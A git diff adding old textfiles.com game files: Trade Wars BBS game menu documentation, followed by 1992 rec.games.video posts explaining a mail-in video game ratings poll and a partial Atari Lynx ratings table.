+ + Port Report. This will display the port report + information as if you chose from your on-board + computer. + + Long Range Scan. If you have purchased a Long Range + Scanner from the Hardware Emporium, you can use it during + your AutoPilot voyage without having to stop in the + sector. + + Re-Display Sector. This is the same sector display that + can be accessed by choosing option from the Main + Menu. + +

Port and Trade. This will allow you to dock at a Trading + Port and conduct your business without having to + recalculate your Autopilot course when you're done. You + will be selecting the same options as you would if you + chose the

selection from the Main Menu. + + Autopilot Help. Displays this file. + + +COMPUTER MENU + +Navigation + + Course Plotter. This will show the number of moves it + will take to get from any sector in the universe to + another. You can use this tool to avoid any surprise as + you travel between sectors. You know the universe is + full of unexplained phenomenon and just because you got + from your home sector to this sector with a great port in + five moves doesn't mean you'll get back in five moves. + + Inter-Sector Warps. This selection will show you the + warps lanes connected to any sector in the universe that + you have explored. You just enter the sector number and + the computer will show you every sector directly linked + to that sector. The computer will not have data to + display for those sectors you have yet to explore. + + Your Known Universe. As you travel through space, you + will be creating your personal travelogue. This will + store information about the sectors you've explored. + Your computer will use this information to give you your + Port Reports and Inter-Sector Warps. You may wish to see + what sectors you have (or don't have) in your travelogue. + This option will tell you. You will see what percentage + of the universe you have visited and the computer will + ask if you want the list of Explored or Unexplored + sectors. When you reply, you will get a list of sector + numbers. + + Port Report. This report gives you relatively up-to-date + information about any port located in a sector which you + have explored. All you have to do is enter the sector + number in which the port is located. You will see items + being traded at the port, the status of each of those + items (whether the port is buying them or selling them), + the number of units the port is willing to trade (and + what percentage of maximum that number represents) and + how many of each of the commodities you have in your + holds. If for some reason you get the message that the + computer has no information on that port and you are sure + there is a port in the sector you indicated, there may be + enemy forces in that sector interfering with your + computer's scan. + + Avoid Sectors. You will sometimes find sectors + containing things that are detrimental to your success in + the game. This function will avoid those sectors when + doing any course plotting. You just have to enter the + sector or sectors to be by-passed before you use the + computer to plot a course or to establish a route for + your AutoPilot. If the computer encounters a situation + where there is not possible route between the sectors you + requested, then all voids will be cleared and will have + to be re-entered before any future course calculations. + + Use Mine Disrupter. You are exploring a new region of + the universe and as you single-step your way along, your + scanner shows a number of mines in the next sector. Send + one of the Mine Disrupters you purchased at the Hardware + Emporium into this mined sector so you don't have to take + the damage to your ship. If the first Disrupter doesn't + disarm all the mines, you can send in another. + + List Current Avoids. When you want to see just what + sectors are being avoided when the computer charts your + course, use this selection. You can use this information + to determine if you want to make any changes. Due to the + limited functionality of this module of the computer, if + you want to remove one or more avoided sectors from the + list, you must clear the entire list and re-enter the + sector numbers you still want to bypass. + +

Fire Photon Missile. You can fire your Photon Missile + into the adjacent sector and run in to do your damage. + Remember that the timer is running as soon as the missile + is launched so be quick! + + Begin Self-destruct Sequence. If you have managed to + make a real mess of things and the only way to continue + is to start from scratch, then go ahead and use this + command. You will escape from your ship moments before + it self-destructs. Think it over carefully before you + hit the button. This will not only destroy your ship and + all its inventory, but it will also affect your rank and + alignment. Your spirit takes two days to migrate back to + Sector 1, so you won't have any turns the day after you + self-destruct. + + Computer Help. Display the portion of the documentation + describing the Computer functions. + + Exit Computer. This option will return you to the bridge + of your ship. + +Miscellaneous + + Make Announcement. Do you have something you want to + tell everyone in the game? If so, prepare your + proclamation and enter it. You will have 160 characters + for your announcement and it will be displayed in the + Daily Log for everyone to read as they enter the game. + + View Ship Catalog. This tool lets you view the + specifications for all the available ships in the game. + You can get a list of the ships and choose which ever one + strikes your fancy. The display will show the following + information - + + Basic Hold Cost + Main Drive Cost + Computer Cost + Ship Hull Cost + Base Cost + Minimum and Maximum Holds + Maximum Fighters + Maximum Shields + Number of Moves per Day + Maximum Number of Mines + Maximum Number of Genesis Torpedoes + Offensive Odds for Combat + Maximum Number of Marker Beacons + TransWarp Drive Capability + Long Range Scanner Capability + Planet Scanner Capability + + In addition to all this information, there is a brief + narrative about the capabilities and shortcomings of each + model. + + Read Daily Log. This will re-display the Daily Journal + that you see when you enter the game. + + Display Evil Ranks. This is a display of the titles to + which you can aspire if you are of negative alignment. + It shows the levels, titles and the number of experience + points needed to attain that level. + + Display Good Ranks. This is a display of the titles to + which you can aspire if you are of positive alignment. + It shows the levels, titles and the number of experience + points needed to attain that level. + + List Aliens. You will encounter traders from other + galaxies as you make your way through the universe. You + can interact with these creatures the same as you do with + the Traders native to your 1000 sectors. Of course, + aliens are either good or bad. Their alignment (good or + evil) can make a big difference in how you want to + associate (or not associate) with them. When you use + this selection, your computer will tell you everything + you need to know. + + List Traders. This choice will show you all the players + in the game in order of experience. Your prompt will ask + if you would like the list to show the Titles of the + players or their Values in Experience points. Each + trader will be displayed with his or her title or value, + the number of the Corporation to which he/she belongs, + and the type of ship currently being used. + + Re-Read Your Mail. This gives you a chance to review the + messages that were sent to you since the last time you + were in the game. + + Toggle ANSI On/Off. That just about says it all. + + Send Mail. When you need to get a message to one of the + other players, this will serve your need. You will have + 160 characters to get your message through. You do not + need to know the player's entire name. If you have part + of it, your computer will search the player file and + prompt you when it finds a match. + + Current Ship Time. This will display the time and date + stored in your ship's computer. (Remember, the game + began in the year 2002.) + + List Your Planets. If you have planets that you want to + keep as personal, you can view them using this option just + as you can view Corporate Planets using the option in + the Corporation Menu. + + +PLANET MENU + + Take All Products. This will load your empty holds with + the products available on the planet. The dock workers + will load your ship to the brim with as much of each of + the products that is available beginning with the cargo + of greatest value (Equipment) to the least value (Fuel + Ore). + + Enter Citadel. You enter the Citadel (and display the + Citadel Menu). If there is no citadel on this planet, + you will have the option to build one. The necessary + products and labor force needed in the construction will + display. You will not be issued a building permit if you + don't have the necessary people and commodities. + + Display Planet. This will show the planet number, type, + name and the alias of the player who created it. There + is also an informative chart showing how many colonists + are working in each production area, how many units of + each product are being produced daily, the quantity of + each product currently available on the planet, and how + many of each you have on your ship. Citadel information + including level, construction underway and credits in the + vault is also available. + + Change Military Levels. You will want to move your + fighters around to protect your territory. This option + will allow you to take fighters currently on the planet + or to leave fighters you have escorting you. The + fighters on the planet are controlled by the Combat + Control Computer (level 2) in the Citadel. If there is + no Combat Control Computer there, the fighters would + better serve you patrolling the sector outside the + planet. Leaving fighters on a planet will designate the + planet as yours. + + Claim Ownership. Let the entire universe know who + controls the planet. Use this option to set the planet + as either Personal or Corporate. This is a must when + you've gone to all the trouble to capture one of your + opponent's planets. + +

Change Population Levels. Throughout the course of the + game you may wish to change the distribution of your + workforce among the commodities. This selection provides + you with an easy, efficient way to order your workers to + the job you need done. + + Load/Unload Colonists. Colonizing your planets can + contribute greatly to your trading profits. This will + enable you to leave the colonists you've brought from + Terra or pack everyone up and move them to another + planet. Keep a close watch on your planet's population + because many planets experience a growth/death cycle. If + your planet has too many people to support, the raw + materials needed to produce your commodities will be used + up by the surplus population and your production rates + will be adversely affected. + + Take or Leave Product. This will let you specify to the + dock workers which type of products you want to leave and + which ones you want loaded on your ship. + + Try to Destroy Planet. First you purchase Atomic + Detonators from the Hardware Emporium. That is the easy + part. You then have to fight your way into the sector + containing the planet. After battling the fighters, + Quasar Cannons, and any other military defenses that may + be there, you have the ability to lay your Atomic + Detonators. Colonists have been trained in the disarming + of detonators. Most of the training was rushed and + provided by inexperienced teachers, so they aren't very + good at it. Most of their attempts literally go up in + smoke, and if you are still on the planet when their + attempt goes awry, you go awry with it. You have the + option of suing your conventional weapons to kill off the + colonists before you lay the detonators so you don't run + the risk of getting killed by their lack of skill. If + you're willing to risk the bad Karma to be a little + safer, this might be the correct option for you. + + Leave This Planet. Take off from the planet. + + Planetary Help. Display the portion of the documentation + describing the Planetary functions. + + +CITADEL MENU + + Engage Ship's Computer. Use this function to use all + your Crai's power just as you would by choosing from + the Main Menu. + + Display Traders Here. This will show you the guest + register of the other players who are parked in the + Citadel. The register gives you the name of the player, + their ship type and how many fighters, shields and holds + they have. This information could prove very useful if + you have just captured the planet from one of your + opponents. + + Exchange Trader Ships. If the other players parked in + the Citadel have specified their vehicle as available for + trade, then you have the option of exchanging your ship + for theirs. Be sure to coordinate this carefully with + the other members of your corporation. Only C.E.O.'s can + use Corporate Flagships so they are not available for + trade. If you have seized this planet from an opponent + still parked in the Citadel, you may want to commandeer + his ship for your own use. + + Shield Generator Control. If you have your level 5 + Citadel completed, you can use this option to store your + shields. You transfer your Ship's shields to the + Planetary Shielding System using this option (10 ship + shields = 1 planetary shield). Stored shields will be + used in the defense of your planet. The Planetary + Shielding System will protect your planet from your + enemies. You will thwart your rivals' attempts to + incapacitate your defenses with Photon Missiles. Your + opponents will even be unable to scan your planet. + + Personal Info. This selection will enable you to see all + of your current statistics. The information will display + same as it does when you choose option from the Main + Menu. + + Military Reaction Level. Another method of customizing + your protection, this will let you set the percentage of + fighters stationed there to be used as offensive or + defensive in case of an attack on the planet. You must + have a Combat Control Computer (Level Two Citadel or + higher) to use this option. The value you enter will be + the percentage of fighters that will attack offensively + as someone attempts to land on your planet. The balance + of your fighters will fall back for defense of the planet + and Citadel. + +

Planetary TransWarp. The instructions for this feature + are in your Level Four Citadel. Provided you have enough + Fuel Ore to power the mammoth engine, you can move your + planet to any sector where you currently have fighters + stationed. + + Quasar Cannon R-level. Use this option to set both the + Atmospheric and Sector reaction levels. The Quasar + Cannon in your Level Three Citadel uses massive amounts + of Fuel Ore. Use this option to adjust the percentage of + Ore on the planet used in this weapon's capability. + PLEASE NOTE: The Quasar Cannon will use the entered + percentage of Fuel Ore remaining on the planet for EACH + SHOT it fires. If you set the Sector value to 100% and + a Scout Marauder with 5 fighters wanders into your + sector, the Cannon will use all the Fuel Ore on your + planet to blow the intruder into space dust. If another + player later tramps into your sector in a well-armed + BattleShip your Cannon will sit idle due to lack of + ammunition. Another consideration when setting your + percentages is that the accuracy of the Cannon is much + better and the damage caused by the blast is greater when + the target is in the planet's atmosphere. + + Remain Here Overnight. You can sleep feeling safe and + secure if you bed down inside the Citadel, out of the rat + race. You will have the protection of your planetary + forces to guard you. When you leave your ship, the valet + will ask if you want others who enter the Citadel to have + the privilege of exchanging ships with you. It's + perfectly within your rights to keep your ship for + personal use only. + + Scan This Sector. This option will let you see + everything in the sector around this planet. The display + will be the same as you get from option in the Main + Menu. + + Treasury Fund Transfers. If you don't like to carry a + lot of credits on you when you're out exploring the + universe, you can deposit your excess in the Citadel. + You can withdraw the credits whenever you need them. Be + advised that the Treasury workers are quite lax in their + security measures and anyone who enters the Citadel can + withdraw any and all of the credits. + + Upgrade Citadel. Once your Citadel construction is + complete, you may find you wish to upgrade. Very few + people are content with a Level One Citadel. You will + need more colonists and materials for each level of + improvements. Level Two has a Combat Control System + which enables you to set the fighters deployed on the + planet as offensive or defensive. Level Three contains + a Quasar Cannon which is a very powerful weapon, but uses + a considerable amount of Fuel Ore to operate. Level Four + encloses the massive engine used for the TransWarp Drive. + Level Five provides the power for the Planetary Shielding + System. The PSS will provide a sturdy shield for your + planet which your enemies will have a hard time + penetrating with fighters or photon missiles. + + Evict Other Traders. Now that you've survived all the + defenses your opponent placed to keep you out, you should + be able to come in and take over, right? Occasionally + you go into a newly captured Citadel only to find the + trader (or traders) who previously controlled the planet. + No need to have them in your way. Simply select this + option to activate the Emergency Warning System in the + Citadel. It will alert these unwanted guests to some + impending doom and their ships will blast off into orbit + around the planet. The system will list the traders as + they escape. You then may either stay in the Citadel out + of harm's way or you can go out into the sector to + inflict more damage on your enemy. + + Corporation Menu. This option is the same as option + from the Main Menu. + + Citadel Help. Display the portion of the documentation + describing the Citadel functions. + + Leave the Citadel. Exit the Citadel and return to the + planet. + + +CORPORATION MENU + + Display Corporations. If you want to see how you and + your corporation compare with others in the game or if + you want to see who the members are of a specific + corporation, use this selection. You will asked if you + want to List Corporations or Rank Corporations. L will + give you a listing of all corporations registered at + Federation Hall showing the corporation's registration + number and the date of incorporation and all corporate + members with the C.E.O. labeled. R will display a list + of all corporations ranked by experience. The list shows + the rank, the corporate registration number and name, the + C.E.O.'s name, the corporate alignment and the corporate + experience. + + Join a Corporation. When you want to join forces with a + corporation of the other traders, you will need to make + arrangements to get your corporate security pass. When + a member of that corporation has approved your + membership, use this option to join. You will need to be + of the same alignment as the C.E.O. If at any time + during your tenure with the corporation, your alignment + is opposite that of the Chairman, you will be + automatically ousted from the Corporation. + + Make a New Corporation. When you are prepared to make to + move from independent trader to Corporate C.E.O., this + option will file your Corporate Charter in the + Federation's Hall of Records. As C.E.O. you will have + privileges that other players don't have such as owning + an Corporate Flagship and sending Corporate Memos to all + members of your Corporation. You will be the one to + determine whether your Corporation is good or evil. As + you go, so goes the Corporation. A prospective member + will have to be of the same alignment as you to join. + + Corporation Help. Display the portion of the + documentation describing the Corporation functions. + + Quit Corporation Menu. Return to the game. + +Corporations Only + + Credit Transfer. Use this option to transfer credits to + or from your corporate associate. You have to be in the + same sector as the corporation member with whom you want + to exchange credits. + + Fighter Transfer. Use this option to transfer fighters + to or from your corporate associate. You have to be in + the same sector as the corporation member with whom you + want to exchange fighters. + + Mines Transfer. Use this option to transfer mines to or + from your corporate associate. You have to be in the + same sector as the corporation member with whom you want + to exchange mines. + + Shields Transfer. Use this option to transfer shields to + or from your corporate associate. You have to be in the + same sector as the corporation member with whom you want + to exchange shields. + + Leave Your Corporation. There may come a time when you + feel you have to make a break with your current + corporation. You may want to form your own new + corporation. You may want to play the game with an + alignment different from that of your corporation's + members. This will allow you to vacate your position in + your corporation. Remember that you will no longer have + access to any of the corporation's assets. If you are + the C.E.O. the corporation will be dissolved and all + corporate fighters will become rogue mercenaries. + + List Corporate Planets. This will display a detailed + graph of your corporation's planets. The information + includes + -the sector where the planet is located + -the planet's name + -the current population + -the production rate for Fuel Ore, Organics and Equipment + -the current inventories of the commodities + -the number of fighters stationed there + -the level of the Citadel (if any) + -the amount of credits in the Citadel (if any) + + Show corporate Assets and Member Locations. This is a + very handy tool to use in organizing your strategy with + that of the others in your Corporation. The information + shown on this display is + -the Corporation member's name + -the sector where that member is located + -whether or not the member is on a planet in that sector + -the number of fighters, shields, mines and credits on him/her + +C.E.O.'s Only + + Send Corporate Memo. When you want to give information + to all those in your organization, use this option. + Whether it is instructions on where you want to establish + a new colony or a congratulatory dispatch for a job well + done, you can send your message quickly and efficiently. + +

Corporate Security. In a world where instances of + computer crime run rampant, a C.E.O. can never be too + careful. Be sure you trust a player before you let him + or her in your organization. And just as with your BBS + account, you can better maintain security if you change + passwords occasionally. + + Drop Corporate Member. Do you have a problem with a + member of your Corporation? Is that member showing signs + of insubordination? You don't have to put up with the + stress. Simply drop this trouble maker. Remember that + the member can take any corporate assets on his/her ship + when kicked out. + + +STARDOCK MENU + + The CinePlex Videon Theatres. You can smell the popcorn + from the Hardware Emporium. Come right in to see the + latest releases from HollyWorld. You can choose from + several first-run offerings or you can opt for one of the + classics. Don't take too long to make up your mind + because there are others waiting in line behind you. + + The 2nd National Galactic Bank. Here is the place to + engage in matters of high finance. You will be able to + put credits into your or another trader's account. You + can take credits out of your account. You can examine + the balance in your account. The bank allows only + personal accounts. Corporate funds should be stored in + secured Citadels. + + The Stellar Hardware Emporium. This is the General Store + of the Trade Wars Universe. If you want it, they have it + and if you have enough money, they'll sell it to you. + +

The Federal Space Police HQ. The home of law enforcement + in the galaxy. Here you can register complaints against + other players, collect rewards or see the wanted posters. + + The Federation Shipyards. This is the place where you + can trade your ship in for a newer model. You can see + all the models available and all the specifications for + each style. + + The Lost Trader's Tavern. Traders come here for more + than just a drink and a meal. Some of the more + interesting features of this game can be found here if + you ask the right questions. + + StarDock Help. Display the portion of the documentation + describing the StarDock functions. + + Return to Your Ship and Leave. Leave the Stardock and + return to the sector. + + +HARDWARE MENU + + Atomic Detonators. These detonators are used in the + destruction of planets. If you don't have enough + military to take out a planet, you can set Atomic + Detonators and run like hell. Warning: colonists have + been trained to disarm these detonators. These units are + as unstable as they are powerful. They can react like + Corbomite Devices when an enemy attacks your ship, and + they can also detonate by hitting mines or offensive + fighters as you journey through the galaxy. + + Marker Beacons. Marker Beacons are the billboards of the + Trade Wars universe. They are an inexpensive way to make + a statement. They stay in the sector where they are + launched until they are destroyed. They have absolutely + no defensive capability. They are so fragile that if two + are launched in the same sector, they both explode. + + Corbomite Devices. Corbomite devices are weapons to + avenge the destruction of your ship. If one of your + opponents succeeds in obliterating your craft, that + person may suffer substantial damage as well when your + ship is equipped with one or more of these. Corbomite + devices can also be viewed as protection. Your enemies + may think twice about attacking you if you are armed with + these. With each additional device you add to your + vessel, you increase your protection level. You can have + up to a Level 1500 Corbomite Device on some ships and the + nice part is, your foe has no way to detect the device's + presence on your ship. + + Cloaking Device. Cloaking devices can hide you from your + rivals when you are away from your home sector. If you + feel you will be vulnerable, use your Cloaking Device to + conceal your ship. Your location will be unknown to even + your Corporate associates who view the Member Location + display. Remember that the Cloaking Device will use a + lot of your energy reserves and its effectiveness + decreases the longer it's used. A well-known consumer + group has tested these devices and found that on the + average, after 72 hours of use, you stand a 50% chance of + being detected. Cloaking Devices are relatively + inexpensive, but because some of the components decompose + quickly, they are a one-time use item. + + SubSpace Ether Probes. Ethereal Probes are quite useful + when you want to know what wonders lie on the other side + of the universe, but you don't want to use up your turns + to explore. You can launch the unmanned probes with a + preset destination. As they maneuver their way across + the cosmos, they report back sector by sector. They are + quite inexpensive for the amount of information that can + be obtained, but they are not sturdy. They contain a + self-destruct mechanism that is triggered when the probe + reaches its destination. The designers of the probe + thought this would provide anonymity for anyone using the + gadget. This mechanism is so sensitive that it detonates + when the probe encounters any enemy fighters. Since it + has no shielding capabilities, any ship it passes will be + able to detect its presence. + + Planet Scanners. If you are planning an invasion of + another player's planet, this scanner can show you the + military system on the planet without landing. Once you + are in the sector, scan the planet. You can see who + created the planet, who currently controls the planet, + and the military defenses installed there. You won't + find out the hard way that you don't have enough weapons + to take over the enemy forces. + + Space Mines. This weapon can be a very effective way of + establishing your territory. Space mines can cause + serious damage to smaller craft and can be a real + nuisance to larger vessels. The latest technology has + provided mines with sensors capable of recognizing the + Federal I.D. codes. This will keep the mines from + detonating by your ship or your Corporation's ships (most + of the time). + +

Photon Missiles. Only owners of Missile Frigates or + Imperial Starships can use these powerful weapons. + Shields, both Ship and Planetary, are excellent + protection from the impact of this weapon. However, + once shields have been destroyed, Photon Missiles can be + used to disable all Combat Control Computers (Level 2 + Citadels) and Quasar Cannons (Level 3 Citadels) on + planets. It neutralizes all mines and fighters stationed + in a sector. Be advised that the effect of these + missiles is short-lived. Get in, take care of your + business and get out before the effect wears off. You + don't want to still be in the sector when the Quasar + Cannons regain their strength. Great care should be used + in transporting these volatile weapons of destruction. + + Long Range Scanners. These scanners can provide the + explorer with multi-sector vision. Your two options are + a Density Scanner or a Holographic Scanner. The Density + Scanner is the cheaper and it provides the user with the + relative density of the surrounding sectors. You can use + that information to determine what may be in the + neighborhood. If you have sufficient funds, you can + purchase a Holographic Scanner which has both Density and + Holographic capabilities. Using the Holographic mode, + you can see what and who is in the sectors adjacent to + the one you are currently occupying. The scanner in + Holographic mode uses a small amount of your ship's fuel + (one turn's worth) but that is a small price to pay when + you consider the information and security it can provide. + + Mine Disrupters. If you run across a heavily mined + sector but you really need to go in there, send in a Mine + Sweeper to clear your path. They can absorb the damage + so you don't have to. + + Genesis Torpedoes. Much improved since the first models, + these torpedoes can provide the foundation for the + production of your trading commodities. The planets + generated from the torpedo's explosion will be able to + support a large number of colonists. The colonists can + provide the labor needed to mine the Fuel Ore, grow the + Organics and manufacture the Equipment and Fighters you + will use in your trading company. + + TransWarp Drives. Only Imperial Starships, Corporate + Flagships and Havoc Gunstars have hulls sturdy enough to + withstand TransWarp flight. These drives use a massive + amount of Fuel Ore so make sure you have a source of Ore + for your return trip, too. The TransWarp Drive uses a + homing device, so you should have at least one fighter in + your destination sector. + + Psychic Probes. Bartering at the ports is one of the + main elements of this game. You get experience points + for making a good deal. The better the deal, the more + points you get. Psychic Probes are the next best thing + to insider trading, and they're legal. If you want to + see exactly where your offer is compared to what they + would have accepted, you need one of these probes. It + will not only show you where you went wrong, but it will + also help you improve your trading skills. + + Hardware Emporium Help. Display the portion of the + documentation describing the Hardware Emporium functions. + + Leave the Emporium. Return to the main area of the + StarDock. + + +SHIPYARDS MENU + + Buy a New Ship. When you are ready to upgrade, or if you + need a specialized ship, come to the Shipyards and talk + to Cal Worthington XXI about a trade-in. You will be + offered a fair price for your current ship. They will + take anything in your trade such as fighters, + accessories, mines, etc. so if you're trying to get a lot + on your trade-in, load your ship up before you talk to + them. If you don't want to use all your extras in the + trade, you might want to leave as much as you can in a + secure place and pick it up after you purchase your new + ship. New ships are very basic models. The extras are + available at the Hardware Emporium and the Class 0 ports. + + Examine Ship Specs. This is the same information + available to you from your ship's on-board computer, but + in includes (for ANSI users only) a picture of each ship, + both top and front view. You may want to review the ship + specifications one last time before you make your + purchase. + +

Buy Class 0 Items. After you purchase your ship, you may + need to equip it with a few of the items normally + purchased at the Class 0 ports. You wouldn't want to + take that brand new beauty out unprotected, would you? + The merchants in the shipyards have obtained fighters, + shields and holds from "trade-ins" so they are offering + them right here where you buy your ship as a convenience + to you. Be forewarned that you will be paying a premium + price for this convenience. + + Change Ship Registration. It's not paranoia when they're + really out to get you. If your foes are tracking you + down by reading the logs at the StarPorts or they've + received information on your ship from a loose-tongued + fool at the tavern, go to this back room in the offices + of the Shipyards. For a hefty fee, you can get revised + registration papers on your ship and christen it with a + new, untraceable name. + + Shipyards Help. Display the portion of the documentation + describing the Shipyards functions. + + Leave the Shipyards. Return to the main area of the + StarDock. + + +TAVERN MENU + + Make an Announcement. Do you have something of interest + for all the patrons of the tavern? If so, pay the fee + and post your announcement. It will stay there until the + next announcement is posted. + + Buy Something from the Bar. Had a trying day? Want a + little something to soothe your nerves? Order up + whatever your heart desires. You might even get it in a + clean glass. Remember FedLaw says, don't drink and fly. + + Eavesdrop on Conversations. See that group of + individuals gathered at the table in the darkest corner + of the tavern? They seem to be engaged in some very + engrossing dialogue. If you would care to listen in and + maybe even add some remarks of your own, use this option. + + Order Some Food. You really need to keep your strength + up so you can take on the challenges of the cosmos. + Order up the Blue Plate Special (the food is blue, not + the plate) and nourish yourself with some of the most + memorable edibles this side of Barlaam. + + Try Your Hand at Tri-Cron. Do you feel lucky, Punk? Put + your money down and see if you can beat the odds. A + simple game of chance might relax you and you never know, + you might come away a big winner. The game is easy - the + detailed instructions are available in the Tavern. The + cost of playing is based on the size of the Top Winner's + Jackpot. You'll have 10 rounds against the house. If + you win, the payback is 2 to 1. If you're the top + winner, you receive the accumulated jackpot. + + Talk to the Grimy Trader in Back. Not much to look at, + but he can be a wealth of information. Depending on how + many drinks he's had, his facts may be a bit suspect. + Just ask him about a specific topic, give him a little + inducement and he'll tell you what he knows. If you + speak to him respectfully, he'll be fair to you. + Otherwise he might try to take advantage of your need for + information. You'll have to pay dearly for it, but he + can sometimes get you information on specific Traders. + + Use the Facilities. When Mother Nature calls, this + option will allow you to answer. Feel free to read the + graffiti to keep yourself entertained. You can even add + some of your own prose or poetry but beware of what may + be lurking in the next stall. + + Tavern Help. Display the portion of the documentation + describing the Tavern functions. + + Leave the Tavern. Exit back to the main area of the + Stardock. + + +FEDPOLICE HEADQUARTERS MENU + + Apply for a Federal Commission. The Federation awards + commissions to those individuals who have shown + themselves to be highly experienced and law abiding. If + you believe yourself to qualify, apply at the Police + Headquarters. If the Feds grant you a commission, you + will be able to procure an Imperial Starship. This is a + very powerful ship but with it comes a lot of + responsibility. The Federation may call upon you to aid + their cause of maintaining law and order throughout the + universe. There are a limited number of Starships + available, so apply for your commission as soon as you + can. + + Claim a Federation Reward. After you have done your duty + as a good FedLaw abiding citizen, you will want to claim + the reward that is rightfully yours. March right into + the Police HQ and tell the sergeant that he no longer has + to worry about the scumbag you terminated. Be sure to + put the reward money to good use. + + Examine the Ten Most Wanted List. There is a listing + available in the FedPolice building of the most corrupt + players in the game. This list shows the level of evil + the player has achieved, the corporation to which he/she + belongs, the number of bounties posted on that player and + the total reward for that player's demise. + +

Post a Reward on Someone. Would you like to make it a + little more rewarding for someone to get one of the + players on the Most Wanted list? You can offer as small + or as large a payment as you would like. Just see the + officer on duty and tell him you want to post a reward. + You will be shown the list of the Most Wanted criminals. + Tell the nice officer which one you would most like to + see brought to justice and how much you want to give to + help in the cause. + + FedPolice Help. Display the portion of the documentation + describing the FedPolice functions. + + Leave the Police Station. Exit the building and return + to the main area of the StarDock. + + +BANK MENU + + Make a Deposit. You can inform the TellBorg that you + wish to deposit some or all of the credits you have with + you. The transaction is recorded instantly so you don't + have to wait three days for your deposit to be reflected + in your account. + + Examine Balance. You might want to see if that other + trader who promised you a reward for helping out with the + Ferrengi has come through with the credits. You might + only want to check your funds to see if you can go on a + spending spree at the Hardware Emporium. This selection + can put the answer at your fingertips. + + Transfer Funds. If you need to get funds to a Trader who + is not in your corporation, this option will authorize + you to make a deposit in that other Trader's account. + Naturally, you must have the credits to be able to + transfer them. + + Withdraw Funds. Saving can really pay off. If your ship + has been destroyed and you don't want to start from + scratch in a Scout, a nest egg in the Galactic Bank can + allow you to come right back with the ship of your + choice. Use this option to take your savings and spend + them any way you choose. You and only you have the + authorization to withdraw credits from your account. + + Bank Help. Display the portion of the documentation + describing the Bank functions. + + Leave the Bank. Return to the main area of the StarDock. \ No newline at end of file diff --git a/textfiles.com/games/vg-about.txt b/textfiles.com/games/vg-about.txt new file mode 100644 index 00000000..110b71f2 --- /dev/null +++ b/textfiles.com/games/vg-about.txt @@ -0,0 +1,78 @@ +From uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc + Thu Mar 5 08:54:59 CST 1992 +Article: 28179 of rec.games.video +Path: uwm.edu!linac!att!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: ABOUT THE VIDEO GAME RATINGS REPORT (last modified Feb 1, 1992) +Message-ID: <44053@ucbvax.BERKELEY.EDU> +Date: 2 Mar 92 23:07:51 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 64 + +ABOUT THE VIDEO GAME RATINGS REPORT + +In this report, video games have been rated on a scale of 1 to 10, +with 10 being the best and 1 being the worst. For each video game, +the total number of votes, the average rating, and the vote +distribution are shown. New video games are indicated by an `*' +before their entry. + +The vote distribution uses a single character to represent the +percentage of votes for each ranking. The following characters codes +can appear: + +`.' no votes cast `3' 30-39% of the votes `7' 70-79% of the votes +`0' 1-9% of the votes `4' 40-49% of the votes `8' 80-89% of the votes +`1' 10-19% of the votes `5' 50-59% of the votes `9' 90-99% of the votes +`2' 20-29% of the votes `6' 60-69% of the votes `*' 100% of the votes + +To have your votes tallied in the list, send mail to the video game +ratings server (the address is given below). In your letter, any line +beginning with the word `vote' will be considered a vote. All other +lines are ignored. Votes must be of the form: + + vote rating system-code video-game-title + +where `rating' is an integer between 1 and 10, `system-code' is a +two-letter code describing the system, and `video-game-title' is +everything else on the line after `system-code'. Valid system codes +include: + + Al Atari Lynx + Gb Nintendo Game Boy + Gg Sega Game Gear + Ne Nintendo Entertainment System (NES) or Famicom + Ng SNK Neo Geo + Sn Super Nintendo Entertainment System (SNES) or Super Famicom + Sg Sega Genesis or Mega Drive + Tg NEC Turbografx-16, Turboexpress, or PC-Engine + +Case is not considered in video game titles or system codes. Valid votes +might be + + vote 10 Sg John Madden Football '92 + vote 10 sn super mario world + +NO HUMAN WILL EVER SEE YOUR BALLOTS, AND YOU WILL NOT RECEIVE AN +ACKNOWLEDGEMENT OF YOUR VOTES. ALSO, THE VIDEO GAME RATINGS SERVER +WILL SILENTLY IGNORE ALL INVALID VOTES. + +To make things easy, the `Reply-to' field of this posting is set to +point to the video game ratings server. If you are using the `rn' +newsreader, simply hit `r' to send in your votes. + +The source code for this system and much of this text for this ratings +report was provided by Chuck Musciano. John Leo originally adapted +this system for video games, and Eric Ng (the current video game +ratings report administrator) has since made many more modifications. + +Thanks for participating in the rec.games.video ratings poll. + +Mail votes to video@irss.njit.edu or ...!uunet!irss.njit.edu!video; if +you have any questions, mail them to video-request@irss.njit.edu or +...!uunet!irss.njit.edu!video-request. +-- +eric ng erc@zabriskie.berkeley.edu ...!ucbvax!zabriskie!erc diff --git a/textfiles.com/games/vg-lynx.txt b/textfiles.com/games/vg-lynx.txt new file mode 100644 index 00000000..81455a18 --- /dev/null +++ b/textfiles.com/games/vg-lynx.txt @@ -0,0 +1,68 @@ +From news Wed Mar 4 22:55:46 1992 +Path: uwm.edu!rpi!zaphod.mps.ohio-state.edu!cis.ohio-state.edu!ucbvax!plitvice.berkeley.edu!erc +From: erc@plitvice.berkeley.edu (Eric Ng) +Newsgroups: rec.games.video +Subject: VIDEO GAME RATINGS REPORT (ATARI LYNX) +Message-ID: <44054@ucbvax.BERKELEY.EDU> +Date: 2 Mar 92 23:17:53 GMT +Sender: nobody@ucbvax.BERKELEY.EDU +Reply-To: video@irss.njit.edu +Organization: University of California at Berkeley +Lines: 56 + +For information on the list format and on submitting your ratings, +consult the article entitled `ABOUT THE VIDEO GAME RATINGS REPORT' in +the newsgroup rec.games.video. + +VIDEO GAME RATINGS REPORT + +ATARI LYNX +New Distribution Votes Rank Title + ....10251. 18 7.4 A.P.B. + ....01.15. 12 8.0 Awesome Golf + ...12241.. 10 6.2 Bill & Ted's Excellent Adventure + ..0..250.. 11 6.5 Blockout + ...0003110 23 7.2 Blue Lightning + .0011130.. 32 5.6 California Games + ......0133 24 9.0 Checkered Flag + 0....02023 27 8.3 Chip's Challenge + ..0102130. 20 6.4 Electrocop + ....144... 7 6.3 Fidelity Ultimate Chess Challenge + 0....15100 19 6.9 Gates Of Zendocon + 0..1221... 17 5.2 Gauntlet III + 11.11111.. 7 4.7 Hard Drivin' + ....3.33.. 3 6.7 Ishido: Way Of The Stones + ....001231 29 8.4 Klax + .....4312. 10 7.1 Ms. Pac-Man + ...102300. 12 6.3 Ninja Gaiden + .....63... 6 